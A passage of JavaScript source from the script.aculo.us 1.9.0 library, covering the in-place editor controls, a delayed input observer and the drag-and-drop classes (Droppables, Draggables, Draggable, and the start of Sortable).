      this.options.formId = this.element.id + '-inplaceeditor';
      if ($(this.options.formId))
        this.options.formId = '';
    }
    if (this.options.externalControl)
      this.options.externalControl = $(this.options.externalControl);
    if (!this.options.externalControl)
      this.options.externalControlOnly = false;
    this._originalBackground = this.element.getStyle('background-color') || 'transparent';
    this.element.title = this.options.clickToEditText;
    this._boundCancelHandler = this.handleFormCancellation.bind(this);
    this._boundComplete = (this.options.onComplete || Prototype.emptyFunction).bind(this);
    this._boundFailureHandler = this.handleAJAXFailure.bind(this);
    this._boundSubmitHandler = this.handleFormSubmission.bind(this);
    this._boundWrapperHandler = this.wrapUp.bind(this);
    this.registerListeners();
  },
  checkForEscapeOrReturn: function(e) {
    if (!this._editing || e.ctrlKey || e.altKey || e.shiftKey) return;
    if (Event.KEY_ESC == e.keyCode)
      this.handleFormCancellation(e);
    else if (Event.KEY_RETURN == e.keyCode)
      this.handleFormSubmission(e);
  },
  createControl: function(mode, handler, extraClasses) {
    var control = this.options[mode + 'Control'];
    var text = this.options[mode + 'Text'];
    if ('button' == control) {
      var btn = document.createElement('input');
      btn.type = 'submit';
      btn.value = text;
      btn.className = 'editor_' + mode + '_button';
      if ('cancel' == mode)
        btn.onclick = this._boundCancelHandler;
      this._form.appendChild(btn);
      this._controls[mode] = btn;
    } else if ('link' == control) {
      var link = document.createElement('a');
      link.href = '#';
      link.appendChild(document.createTextNode(text));
      link.onclick = 'cancel' == mode ? this._boundCancelHandler : this._boundSubmitHandler;
      link.className = 'editor_' + mode + '_link';
      if (extraClasses)
        link.className += ' ' + extraClasses;
      this._form.appendChild(link);
      this._controls[mode] = link;
    }
  },
  createEditField: function() {
    var text = (this.options.loadTextURL ? this.options.loadingText : this.getText());
    var fld;
    if (1 >= this.options.rows && !/\r|\n/.test(this.getText())) {
      fld = document.createElement('input');
      fld.type = 'text';
      var size = this.options.size || this.options.cols || 0;
      if (0 < size) fld.size = size;
    } else {
      fld = document.createElement('textarea');
      fld.rows = (1 >= this.options.rows ? this.options.autoRows : this.options.rows);
      fld.cols = this.options.cols || 40;
    }
    fld.name = this.options.paramName;
    fld.value = text; // No HTML breaks conversion anymore
    fld.className = 'editor_field';
    if (this.options.submitOnBlur)
      fld.onblur = this._boundSubmitHandler;
    this._controls.editor = fld;
    if (this.options.loadTextURL)
      this.loadExternalText();
    this._form.appendChild(this._controls.editor);
  },
  createForm: function() {
    var ipe = this;
    function addText(mode, condition) {
      var text = ipe.options['text' + mode + 'Controls'];
      if (!text || condition === false) return;
      ipe._form.appendChild(document.createTextNode(text));
    };
    this._form = $(document.createElement('form'));
    this._form.id = this.options.formId;
    this._form.addClassName(this.options.formClassName);
    this._form.onsubmit = this._boundSubmitHandler;
    this.createEditField();
    if ('textarea' == this._controls.editor.tagName.toLowerCase())
      this._form.appendChild(document.createElement('br'));
    if (this.options.onFormCustomization)
      this.options.onFormCustomization(this, this._form);
    addText('Before', this.options.okControl || this.options.cancelControl);
    this.createControl('ok', this._boundSubmitHandler);
    addText('Between', this.options.okControl && this.options.cancelControl);
    this.createControl('cancel', this._boundCancelHandler, 'editor_cancel');
    addText('After', this.options.okControl || this.options.cancelControl);
  },
  destroy: function() {
    if (this._oldInnerHTML)
      this.element.innerHTML = this._oldInnerHTML;
    this.leaveEditMode();
    this.unregisterListeners();
  },
  enterEditMode: function(e) {
    if (this._saving || this._editing) return;
    this._editing = true;
    this.triggerCallback('onEnterEditMode');
    if (this.options.externalControl)
      this.options.externalControl.hide();
    this.element.hide();
    this.createForm();
    this.element.parentNode.insertBefore(this._form, this.element);
    if (!this.options.loadTextURL)
      this.postProcessEditField();
    if (e) Event.stop(e);
  },
  enterHover: function(e) {
    if (this.options.hoverClassName)
      this.element.addClassName(this.options.hoverClassName);
    if (this._saving) return;
    this.triggerCallback('onEnterHover');
  },
  getText: function() {
    return this.element.innerHTML.unescapeHTML();
  },
  handleAJAXFailure: function(transport) {
    this.triggerCallback('onFailure', transport);
    if (this._oldInnerHTML) {
      this.element.innerHTML = this._oldInnerHTML;
      this._oldInnerHTML = null;
    }
  },
  handleFormCancellation: function(e) {
    this.wrapUp();
    if (e) Event.stop(e);
  },
  handleFormSubmission: function(e) {
    var form = this._form;
    var value = $F(this._controls.editor);
    this.prepareSubmission();
    var params = this.options.callback(form, value) || '';
    if (Object.isString(params))
      params = params.toQueryParams();
    params.editorId = this.element.id;
    if (this.options.htmlResponse) {
      var options = Object.extend({ evalScripts: true }, this.options.ajaxOptions);
      Object.extend(options, {
        parameters: params,
        onComplete: this._boundWrapperHandler,
        onFailure: this._boundFailureHandler
      });
      new Ajax.Updater({ success: this.element }, this.url, options);
    } else {
      var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
      Object.extend(options, {
        parameters: params,
        onComplete: this._boundWrapperHandler,
        onFailure: this._boundFailureHandler
      });
      new Ajax.Request(this.url, options);
    }
    if (e) Event.stop(e);
  },
  leaveEditMode: function() {
    this.element.removeClassName(this.options.savingClassName);
    this.removeForm();
    this.leaveHover();
    this.element.style.backgroundColor = this._originalBackground;
    this.element.show();
    if (this.options.externalControl)
      this.options.externalControl.show();
    this._saving = false;
    this._editing = false;
    this._oldInnerHTML = null;
    this.triggerCallback('onLeaveEditMode');
  },
  leaveHover: function(e) {
    if (this.options.hoverClassName)
      this.element.removeClassName(this.options.hoverClassName);
    if (this._saving) return;
    this.triggerCallback('onLeaveHover');
  },
  loadExternalText: function() {
    this._form.addClassName(this.options.loadingClassName);
    this._controls.editor.disabled = true;
    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
    Object.extend(options, {
      parameters: 'editorId=' + encodeURIComponent(this.element.id),
      onComplete: Prototype.emptyFunction,
      onSuccess: function(transport) {
        this._form.removeClassName(this.options.loadingClassName);
        var text = transport.responseText;
        if (this.options.stripLoadedTextTags)
          text = text.stripTags();
        this._controls.editor.value = text;
        this._controls.editor.disabled = false;
        this.postProcessEditField();
      }.bind(this),
      onFailure: this._boundFailureHandler
    });
    new Ajax.Request(this.options.loadTextURL, options);
  },
  postProcessEditField: function() {
    var fpc = this.options.fieldPostCreation;
    if (fpc)
      $(this._controls.editor)['focus' == fpc ? 'focus' : 'activate']();
  },
  prepareOptions: function() {
    this.options = Object.clone(Ajax.InPlaceEditor.DefaultOptions);
    Object.extend(this.options, Ajax.InPlaceEditor.DefaultCallbacks);
    [this._extraDefaultOptions].flatten().compact().each(function(defs) {
      Object.extend(this.options, defs);
    }.bind(this));
  },
  prepareSubmission: function() {
    this._saving = true;
    this.removeForm();
    this.leaveHover();
    this.showSaving();
  },
  registerListeners: function() {
    this._listeners = { };
    var listener;
    $H(Ajax.InPlaceEditor.Listeners).each(function(pair) {
      listener = this[pair.value].bind(this);
      this._listeners[pair.key] = listener;
      if (!this.options.externalControlOnly)
        this.element.observe(pair.key, listener);
      if (this.options.externalControl)
        this.options.externalControl.observe(pair.key, listener);
    }.bind(this));
  },
  removeForm: function() {
    if (!this._form) return;
    this._form.remove();
    this._form = null;
    this._controls = { };
  },
  showSaving: function() {
    this._oldInnerHTML = this.element.innerHTML;
    this.element.innerHTML = this.options.savingText;
    this.element.addClassName(this.options.savingClassName);
    this.element.style.backgroundColor = this._originalBackground;
    this.element.show();
  },
  triggerCallback: function(cbName, arg) {
    if ('function' == typeof this.options[cbName]) {
      this.options[cbName](this, arg);
    }
  },
  unregisterListeners: function() {
    $H(this._listeners).each(function(pair) {
      if (!this.options.externalControlOnly)
        this.element.stopObserving(pair.key, pair.value);
      if (this.options.externalControl)
        this.options.externalControl.stopObserving(pair.key, pair.value);
    }.bind(this));
  },
  wrapUp: function(transport) {
    this.leaveEditMode();
    // Can't use triggerCallback due to backward compatibility: requires
    // binding + direct element
    this._boundComplete(transport, this.element);
  }
});

Object.extend(Ajax.InPlaceEditor.prototype, {
  dispose: Ajax.InPlaceEditor.prototype.destroy
});

Ajax.InPlaceCollectionEditor = Class.create(Ajax.InPlaceEditor, {
  initialize: function($super, element, url, options) {
    this._extraDefaultOptions = Ajax.InPlaceCollectionEditor.DefaultOptions;
    $super(element, url, options);
  },

  createEditField: function() {
    var list = document.createElement('select');
    list.name = this.options.paramName;
    list.size = 1;
    this._controls.editor = list;
    this._collection = this.options.collection || [];
    if (this.options.loadCollectionURL)
      this.loadCollection();
    else
      this.checkForExternalText();
    this._form.appendChild(this._controls.editor);
  },

  loadCollection: function() {
    this._form.addClassName(this.options.loadingClassName);
    this.showLoadingText(this.options.loadingCollectionText);
    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
    Object.extend(options, {
      parameters: 'editorId=' + encodeURIComponent(this.element.id),
      onComplete: Prototype.emptyFunction,
      onSuccess: function(transport) {
        var js = transport.responseText.strip();
        if (!/^\[.*\]$/.test(js)) // TODO: improve sanity check
          throw('Server returned an invalid collection representation.');
        this._collection = eval(js);
        this.checkForExternalText();
      }.bind(this),
      onFailure: this.onFailure
    });
    new Ajax.Request(this.options.loadCollectionURL, options);
  },

  showLoadingText: function(text) {
    this._controls.editor.disabled = true;
    var tempOption = this._controls.editor.firstChild;
    if (!tempOption) {
      tempOption = document.createElement('option');
      tempOption.value = '';
      this._controls.editor.appendChild(tempOption);
      tempOption.selected = true;
    }
    tempOption.update((text || '').stripScripts().stripTags());
  },

  checkForExternalText: function() {
    this._text = this.getText();
    if (this.options.loadTextURL)
      this.loadExternalText();
    else
      this.buildOptionList();
  },

  loadExternalText: function() {
    this.showLoadingText(this.options.loadingText);
    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
    Object.extend(options, {
      parameters: 'editorId=' + encodeURIComponent(this.element.id),
      onComplete: Prototype.emptyFunction,
      onSuccess: function(transport) {
        this._text = transport.responseText.strip();
        this.buildOptionList();
      }.bind(this),
      onFailure: this.onFailure
    });
    new Ajax.Request(this.options.loadTextURL, options);
  },

  buildOptionList: function() {
    this._form.removeClassName(this.options.loadingClassName);
    this._collection = this._collection.map(function(entry) {
      return 2 === entry.length ? entry : [entry, entry].flatten();
    });
    var marker = ('value' in this.options) ? this.options.value : this._text;
    var textFound = this._collection.any(function(entry) {
      return entry[0] == marker;
    }.bind(this));
    this._controls.editor.update('');
    var option;
    this._collection.each(function(entry, index) {
      option = document.createElement('option');
      option.value = entry[0];
      option.selected = textFound ? entry[0] == marker : 0 == index;
      option.appendChild(document.createTextNode(entry[1]));
      this._controls.editor.appendChild(option);
    }.bind(this));
    this._controls.editor.disabled = false;
    Field.scrollFreeActivate(this._controls.editor);
  }
});

//**** DEPRECATION LAYER FOR InPlace[Collection]Editor! ****
//**** This only  exists for a while,  in order to  let ****
//**** users adapt to  the new API.  Read up on the new ****
//**** API and convert your code to it ASAP!            ****

Ajax.InPlaceEditor.prototype.initialize.dealWithDeprecatedOptions = function(options) {
  if (!options) return;
  function fallback(name, expr) {
    if (name in options || expr === undefined) return;
    options[name] = expr;
  };
  fallback('cancelControl', (options.cancelLink ? 'link' : (options.cancelButton ? 'button' :
    options.cancelLink == options.cancelButton == false ? false : undefined)));
  fallback('okControl', (options.okLink ? 'link' : (options.okButton ? 'button' :
    options.okLink == options.okButton == false ? false : undefined)));
  fallback('highlightColor', options.highlightcolor);
  fallback('highlightEndColor', options.highlightendcolor);
};

Object.extend(Ajax.InPlaceEditor, {
  DefaultOptions: {
    ajaxOptions: { },
    autoRows: 3,                                // Use when multi-line w/ rows == 1
    cancelControl: 'link',                      // 'link'|'button'|false
    cancelText: 'cancel',
    clickToEditText: 'Click to edit',
    externalControl: null,                      // id|elt
    externalControlOnly: false,
    fieldPostCreation: 'activate',              // 'activate'|'focus'|false
    formClassName: 'inplaceeditor-form',
    formId: null,                               // id|elt
    highlightColor: '#ffff99',
    highlightEndColor: '#ffffff',
    hoverClassName: '',
    htmlResponse: true,
    loadingClassName: 'inplaceeditor-loading',
    loadingText: 'Loading...',
    okControl: 'button',                        // 'link'|'button'|false
    okText: 'ok',
    paramName: 'value',
    rows: 1,                                    // If 1 and multi-line, uses autoRows
    savingClassName: 'inplaceeditor-saving',
    savingText: 'Saving...',
    size: 0,
    stripLoadedTextTags: false,
    submitOnBlur: false,
    textAfterControls: '',
    textBeforeControls: '',
    textBetweenControls: ''
  },
  DefaultCallbacks: {
    callback: function(form) {
      return Form.serialize(form);
    },
    onComplete: function(transport, element) {
      // For backward compatibility, this one is bound to the IPE, and passes
      // the element directly.  It was too often customized, so we don't break it.
      new Effect.Highlight(element, {
        startcolor: this.options.highlightColor, keepBackgroundImage: true });
    },
    onEnterEditMode: null,
    onEnterHover: function(ipe) {
      ipe.element.style.backgroundColor = ipe.options.highlightColor;
      if (ipe._effect)
        ipe._effect.cancel();
    },
    onFailure: function(transport, ipe) {
      alert('Error communication with the server: ' + transport.responseText.stripTags());
    },
    onFormCustomization: null, // Takes the IPE and its generated form, after editor, before controls.
    onLeaveEditMode: null,
    onLeaveHover: function(ipe) {
      ipe._effect = new Effect.Highlight(ipe.element, {
        startcolor: ipe.options.highlightColor, endcolor: ipe.options.highlightEndColor,
        restorecolor: ipe._originalBackground, keepBackgroundImage: true
      });
    }
  },
  Listeners: {
    click: 'enterEditMode',
    keydown: 'checkForEscapeOrReturn',
    mouseover: 'enterHover',
    mouseout: 'leaveHover'
  }
});

Ajax.InPlaceCollectionEditor.DefaultOptions = {
  loadingCollectionText: 'Loading options...'
};

// Delayed observer, like Form.Element.Observer,
// but waits for delay after last key input
// Ideal for live-search fields

Form.Element.DelayedObserver = Class.create({
  initialize: function(element, delay, callback) {
    this.delay     = delay || 0.5;
    this.element   = $(element);
    this.callback  = callback;
    this.timer     = null;
    this.lastValue = $F(this.element);
    Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this));
  },
  delayedListener: function(event) {
    if(this.lastValue == $F(this.element)) return;
    if(this.timer) clearTimeout(this.timer);
    this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000);
    this.lastValue = $F(this.element);
  },
  onTimerEvent: function() {
    this.timer = null;
    this.callback(this.element, $F(this.element));
  }
});// script.aculo.us dragdrop.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010

// Copyright (c) 2005-2010 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if(Object.isUndefined(Effect))
  throw("dragdrop.js requires including script.aculo.us' effects.js library");

var Droppables = {
  drops: [],

  remove: function(element) {
    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
  },

  add: function(element) {
    element = $(element);
    var options = Object.extend({
      greedy:     true,
      hoverclass: null,
      tree:       false
    }, arguments[1] || { });

    // cache containers
    if(options.containment) {
      options._containers = [];
      var containment = options.containment;
      if(Object.isArray(containment)) {
        containment.each( function(c) { options._containers.push($(c)) });
      } else {
        options._containers.push($(containment));
      }
    }

    if(options.accept) options.accept = [options.accept].flatten();

    Element.makePositioned(element); // fix IE
    options.element = element;

    this.drops.push(options);
  },

  findDeepestChild: function(drops) {
    deepest = drops[0];

    for (i = 1; i < drops.length; ++i)
      if (Element.isParent(drops[i].element, deepest.element))
        deepest = drops[i];

    return deepest;
  },

  isContained: function(element, drop) {
    var containmentNode;
    if(drop.tree) {
      containmentNode = element.treeNode;
    } else {
      containmentNode = element.parentNode;
    }
    return drop._containers.detect(function(c) { return containmentNode == c });
  },

  isAffected: function(point, element, drop) {
    return (
      (drop.element!=element) &&
      ((!drop._containers) ||
        this.isContained(element, drop)) &&
      ((!drop.accept) ||
        (Element.classNames(element).detect(
          function(v) { return drop.accept.include(v) } ) )) &&
      Position.within(drop.element, point[0], point[1]) );
  },

  deactivate: function(drop) {
    if(drop.hoverclass)
      Element.removeClassName(drop.element, drop.hoverclass);
    this.last_active = null;
  },

  activate: function(drop) {
    if(drop.hoverclass)
      Element.addClassName(drop.element, drop.hoverclass);
    this.last_active = drop;
  },

  show: function(point, element) {
    if(!this.drops.length) return;
    var drop, affected = [];

    this.drops.each( function(drop) {
      if(Droppables.isAffected(point, element, drop))
        affected.push(drop);
    });

    if(affected.length>0)
      drop = Droppables.findDeepestChild(affected);

    if(this.last_active && this.last_active != drop) this.deactivate(this.last_active);
    if (drop) {
      Position.within(drop.element, point[0], point[1]);
      if(drop.onHover)
        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));

      if (drop != this.last_active) Droppables.activate(drop);
    }
  },

  fire: function(event, element) {
    if(!this.last_active) return;
    Position.prepare();

    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
      if (this.last_active.onDrop) {
        this.last_active.onDrop(element, this.last_active.element, event);
        return true;
      }
  },

  reset: function() {
    if(this.last_active)
      this.deactivate(this.last_active);
  }
};

var Draggables = {
  drags: [],
  observers: [],

  register: function(draggable) {
    if(this.drags.length == 0) {
      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
      this.eventKeypress  = this.keyPress.bindAsEventListener(this);

      Event.observe(document, "mouseup", this.eventMouseUp);
      Event.observe(document, "mousemove", this.eventMouseMove);
      Event.observe(document, "keypress", this.eventKeypress);
    }
    this.drags.push(draggable);
  },

  unregister: function(draggable) {
    this.drags = this.drags.reject(function(d) { return d==draggable });
    if(this.drags.length == 0) {
      Event.stopObserving(document, "mouseup", this.eventMouseUp);
      Event.stopObserving(document, "mousemove", this.eventMouseMove);
      Event.stopObserving(document, "keypress", this.eventKeypress);
    }
  },

  activate: function(draggable) {
    if(draggable.options.delay) {
      this._timeout = setTimeout(function() {
        Draggables._timeout = null;
        window.focus();
        Draggables.activeDraggable = draggable;
      }.bind(this), draggable.options.delay);
    } else {
      window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
      this.activeDraggable = draggable;
    }
  },

  deactivate: function() {
    this.activeDraggable = null;
  },

  updateDrag: function(event) {
    if(!this.activeDraggable) return;
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    // Mozilla-based browsers fire successive mousemove events with
    // the same coordinates, prevent needless redrawing (moz bug?)
    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
    this._lastPointer = pointer;

    this.activeDraggable.updateDrag(event, pointer);
  },

  endDrag: function(event) {
    if(this._timeout) {
      clearTimeout(this._timeout);
      this._timeout = null;
    }
    if(!this.activeDraggable) return;
    this._lastPointer = null;
    this.activeDraggable.endDrag(event);
    this.activeDraggable = null;
  },

  keyPress: function(event) {
    if(this.activeDraggable)
      this.activeDraggable.keyPress(event);
  },

  addObserver: function(observer) {
    this.observers.push(observer);
    this._cacheObserverCallbacks();
  },

  removeObserver: function(element) {  // element instead of observer fixes mem leaks
    this.observers = this.observers.reject( function(o) { return o.element==element });
    this._cacheObserverCallbacks();
  },

  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
    if(this[eventName+'Count'] > 0)
      this.observers.each( function(o) {
        if(o[eventName]) o[eventName](eventName, draggable, event);
      });
    if(draggable.options[eventName]) draggable.options[eventName](draggable, event);
  },

  _cacheObserverCallbacks: function() {
    ['onStart','onEnd','onDrag'].each( function(eventName) {
      Draggables[eventName+'Count'] = Draggables.observers.select(
        function(o) { return o[eventName]; }
      ).length;
    });
  }
};

/*--------------------------------------------------------------------------*/

var Draggable = Class.create({
  initialize: function(element) {
    var defaults = {
      handle: false,
      reverteffect: function(element, top_offset, left_offset) {
        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
        new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur,
          queue: {scope:'_draggable', position:'end'}
        });
      },
      endeffect: function(element) {
        var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1.0;
        new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity,
          queue: {scope:'_draggable', position:'end'},
          afterFinish: function(){
            Draggable._dragging[element] = false
          }
        });
      },
      zindex: 1000,
      revert: false,
      quiet: false,
      scroll: false,
      scrollSensitivity: 20,
      scrollSpeed: 15,
      snap: false,  // false, or xy or [x,y] or function(x,y){ return [x,y] }
      delay: 0
    };

    if(!arguments[1] || Object.isUndefined(arguments[1].endeffect))
      Object.extend(defaults, {
        starteffect: function(element) {
          element._opacity = Element.getOpacity(element);
          Draggable._dragging[element] = true;
          new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7});
        }
      });

    var options = Object.extend(defaults, arguments[1] || { });

    this.element = $(element);

    if(options.handle && Object.isString(options.handle))
      this.handle = this.element.down('.'+options.handle, 0);

    if(!this.handle) this.handle = $(options.handle);
    if(!this.handle) this.handle = this.element;

    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
      options.scroll = $(options.scroll);
      this._isScrollChild = Element.childOf(this.element, options.scroll);
    }

    Element.makePositioned(this.element); // fix IE

    this.options  = options;
    this.dragging = false;

    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
    Event.observe(this.handle, "mousedown", this.eventMouseDown);

    Draggables.register(this);
  },

  destroy: function() {
    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
    Draggables.unregister(this);
  },

  currentDelta: function() {
    return([
      parseInt(Element.getStyle(this.element,'left') || '0'),
      parseInt(Element.getStyle(this.element,'top') || '0')]);
  },

  initDrag: function(event) {
    if(!Object.isUndefined(Draggable._dragging[this.element]) &&
      Draggable._dragging[this.element]) return;
    if(Event.isLeftClick(event)) {
      // abort on form elements, fixes a Firefox issue
      var src = Event.element(event);
      if((tag_name = src.tagName.toUpperCase()) && (
        tag_name=='INPUT' ||
        tag_name=='SELECT' ||
        tag_name=='OPTION' ||
        tag_name=='BUTTON' ||
        tag_name=='TEXTAREA')) return;

      var pointer = [Event.pointerX(event), Event.pointerY(event)];
      var pos     = this.element.cumulativeOffset();
      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });

      Draggables.activate(this);
      Event.stop(event);
    }
  },

  startDrag: function(event) {
    this.dragging = true;
    if(!this.delta)
      this.delta = this.currentDelta();

    if(this.options.zindex) {
      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
      this.element.style.zIndex = this.options.zindex;
    }

    if(this.options.ghosting) {
      this._clone = this.element.cloneNode(true);
      this._originallyAbsolute = (this.element.getStyle('position') == 'absolute');
      if (!this._originallyAbsolute)
        Position.absolutize(this.element);
      this.element.parentNode.insertBefore(this._clone, this.element);
    }

    if(this.options.scroll) {
      if (this.options.scroll == window) {
        var where = this._getWindowScroll(this.options.scroll);
        this.originalScrollLeft = where.left;
        this.originalScrollTop = where.top;
      } else {
        this.originalScrollLeft = this.options.scroll.scrollLeft;
        this.originalScrollTop = this.options.scroll.scrollTop;
      }
    }

    Draggables.notify('onStart', this, event);

    if(this.options.starteffect) this.options.starteffect(this.element);
  },

  updateDrag: function(event, pointer) {
    if(!this.dragging) this.startDrag(event);

    if(!this.options.quiet){
      Position.prepare();
      Droppables.show(pointer, this.element);
    }

    Draggables.notify('onDrag', this, event);

    this.draw(pointer);
    if(this.options.change) this.options.change(this);

    if(this.options.scroll) {
      this.stopScrolling();

      var p;
      if (this.options.scroll == window) {
        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
      } else {
        p = Position.page(this.options.scroll).toArray();
        p[0] += this.options.scroll.scrollLeft + Position.deltaX;
        p[1] += this.options.scroll.scrollTop + Position.deltaY;
        p.push(p[0]+this.options.scroll.offsetWidth);
        p.push(p[1]+this.options.scroll.offsetHeight);
      }
      var speed = [0,0];
      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
      this.startScrolling(speed);
    }

    // fix AppleWebKit rendering
    if(Prototype.Browser.WebKit) window.scrollBy(0,0);

    Event.stop(event);
  },

  finishDrag: function(event, success) {
    this.dragging = false;

    if(this.options.quiet){
      Position.prepare();
      var pointer = [Event.pointerX(event), Event.pointerY(event)];
      Droppables.show(pointer, this.element);
    }

    if(this.options.ghosting) {
      if (!this._originallyAbsolute)
        Position.relativize(this.element);
      delete this._originallyAbsolute;
      Element.remove(this._clone);
      this._clone = null;
    }

    var dropped = false;
    if(success) {
      dropped = Droppables.fire(event, this.element);
      if (!dropped) dropped = false;
    }
    if(dropped && this.options.onDropped) this.options.onDropped(this.element);
    Draggables.notify('onEnd', this, event);

    var revert = this.options.revert;
    if(revert && Object.isFunction(revert)) revert = revert(this.element);

    var d = this.currentDelta();
    if(revert && this.options.reverteffect) {
      if (dropped == 0 || revert != 'failure')
        this.options.reverteffect(this.element,
          d[1]-this.delta[1], d[0]-this.delta[0]);
    } else {
      this.delta = d;
    }

    if(this.options.zindex)
      this.element.style.zIndex = this.originalZ;

    if(this.options.endeffect)
      this.options.endeffect(this.element);

    Draggables.deactivate(this);
    Droppables.reset();
  },

  keyPress: function(event) {
    if(event.keyCode!=Event.KEY_ESC) return;
    this.finishDrag(event, false);
    Event.stop(event);
  },

  endDrag: function(event) {
    if(!this.dragging) return;
    this.stopScrolling();
    this.finishDrag(event, true);
    Event.stop(event);
  },

  draw: function(point) {
    var pos = this.element.cumulativeOffset();
    if(this.options.ghosting) {
      var r   = Position.realOffset(this.element);
      pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY;
    }

    var d = this.currentDelta();
    pos[0] -= d[0]; pos[1] -= d[1];

    if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
    }

    var p = [0,1].map(function(i){
      return (point[i]-pos[i]-this.offset[i])
    }.bind(this));

    if(this.options.snap) {
      if(Object.isFunction(this.options.snap)) {
        p = this.options.snap(p[0],p[1],this);
      } else {
      if(Object.isArray(this.options.snap)) {
        p = p.map( function(v, i) {
          return (v/this.options.snap[i]).round()*this.options.snap[i] }.bind(this));
      } else {
        p = p.map( function(v) {
          return (v/this.options.snap).round()*this.options.snap }.bind(this));
      }
    }}

    var style = this.element.style;
    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
      style.left = p[0] + "px";
    if((!this.options.constraint) || (this.options.constraint=='vertical'))
      style.top  = p[1] + "px";

    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
  },

  stopScrolling: function() {
    if(this.scrollInterval) {
      clearInterval(this.scrollInterval);
      this.scrollInterval = null;
      Draggables._lastScrollPointer = null;
    }
  },

  startScrolling: function(speed) {
    if(!(speed[0] || speed[1])) return;
    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
    this.lastScrolled = new Date();
    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
  },

  scroll: function() {
    var current = new Date();
    var delta = current - this.lastScrolled;
    this.lastScrolled = current;
    if(this.options.scroll == window) {
      with (this._getWindowScroll(this.options.scroll)) {
        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
          var d = delta / 1000;
          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
        }
      }
    } else {
      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
    }

    Position.prepare();
    Droppables.show(Draggables._lastPointer, this.element);
    Draggables.notify('onDrag', this);
    if (this._isScrollChild) {
      Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
      Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
      Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
      if (Draggables._lastScrollPointer[0] < 0)
        Draggables._lastScrollPointer[0] = 0;
      if (Draggables._lastScrollPointer[1] < 0)
        Draggables._lastScrollPointer[1] = 0;
      this.draw(Draggables._lastScrollPointer);
    }

    if(this.options.change) this.options.change(this);
  },

  _getWindowScroll: function(w) {
    var T, L, W, H;
    with (w.document) {
      if (w.document.documentElement && documentElement.scrollTop) {
        T = documentElement.scrollTop;
        L = documentElement.scrollLeft;
      } else if (w.document.body) {
        T = body.scrollTop;
        L = body.scrollLeft;
      }
      if (w.innerWidth) {
        W = w.innerWidth;
        H = w.innerHeight;
      } else if (w.document.documentElement && documentElement.clientWidth) {
        W = documentElement.clientWidth;
        H = documentElement.clientHeight;
      } else {
        W = body.offsetWidth;
        H = body.offsetHeight;
      }
    }
    return { top: T, left: L, width: W, height: H };
  }
});

Draggable._dragging = { };

/*--------------------------------------------------------------------------*/

var SortableObserver = Class.create({
  initialize: function(element, observer) {
    this.element   = $(element);
    this.observer  = observer;
    this.lastValue = Sortable.serialize(this.element);
  },

  onStart: function() {
    this.lastValue = Sortable.serialize(this.element);
  },

  onEnd: function() {
    Sortable.unmark();
    if(this.lastValue != Sortable.serialize(this.element))
      this.observer(this.element)
  }
});

var Sortable = {
  SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,

  sortables: { },

  _findRootElement: function(element) {
    while (element.tagName.toUpperCase() != "BODY") {
      if(element.id && Sortable.sortables[element.id]) return element;
      element = element.parentNode;
    }
  },

  options: function(element) {
    element = Sortable._findRootElement($(element));
    if(!element) return;
    return Sortable.sortables[element.id];
  },

  destroy: function(element){
    element = $(element);
    var s = Sortable.sortables[element.id];

    if(s) {
      Draggables.removeObserver(s.element);
      s.droppables.each(function(d){ Droppables.remove(d) });
      s.draggables.invoke('destroy');

